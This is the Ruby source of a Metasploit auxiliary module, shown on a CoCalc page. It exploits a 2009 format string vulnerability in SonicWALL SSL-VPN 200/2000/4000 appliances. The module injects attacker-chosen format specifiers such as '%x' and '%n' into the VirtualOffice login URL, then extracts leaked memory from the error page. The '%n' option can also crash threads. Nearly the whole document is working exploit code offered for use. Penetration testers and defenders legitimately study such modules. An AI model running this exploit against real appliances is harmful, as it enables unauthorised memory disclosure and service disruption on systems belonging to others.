CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::HttpClient
8
  include Msf::Auxiliary::Dos # %n etc kills a thread, but otherwise ok.
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'           => 'SonicWALL SSL-VPN Format String Vulnerability',
13
      'Description'    => %q{
14
        There is a format string vulnerability within the SonicWALL
15
        SSL-VPN Appliance - 200, 2000 and 4000 series. Arbitrary memory
16
        can be read or written to, depending on the format string used.
17
        There appears to be a length limit of 127 characters of format
18
        string data. With physical access to the device and debugging,
19
        this module may be able to be used to execute arbitrary code remotely.
20
      },
21
      'Author'         => [ 'aushack' ],
22
      'License'        => MSF_LICENSE,
23
      'References'     => [
24
        [ 'BID', '35145' ],
25
        #[ 'CVE', '' ], # no CVE?
26
        [ 'OSVDB', '54881' ],
27
        [ 'URL', 'http://www.aushack.com/200905-sonicwall.txt' ],
28
      ],
29
      'DisclosureDate' => '2009-05-29'))
30

31
    register_options([
32
      OptString.new('URI', [ true, 'URI to request', '/cgi-bin/welcome/VirtualOffice?err=' ]),
33
      OptString.new('FORMAT', [ true, 'Format string (i.e. %x, %s, %n, %p etc)', '%x%x%x%x%x%x%x' ]),
34
      Opt::RPORT(443),
35
      OptBool.new('SSL', [true, 'Use SSL', true]),
36
    ])
37
  end
38

39
  def run
40
    if (datastore['FORMAT'].length > 125) # Max length is 127 bytes
41
      print_error("FORMAT string length cannot exceed 125 bytes.")
42
      return
43
    end
44

45
    fmt = datastore['FORMAT'] + "XX"  # XX is 2 bytes used to mark end of memory garbage for regexp
46
    begin
47
      res = send_request_raw({
48
        'uri' => normalize_uri(datastore['URI']) + fmt,
49
      })
50

51
      if res and res.code == 200
52
        res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)
53
        print_status("Information leaked: #{$1}")
54
      end
55

56
      print_status("Request sent to #{rhost}:#{rport}")
57
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
58
      print_status("Couldn't connect to #{rhost}:#{rport}")
59
    rescue ::Timeout::Error, ::Errno::EPIPE
60
    end
61
  end
62
end
63

64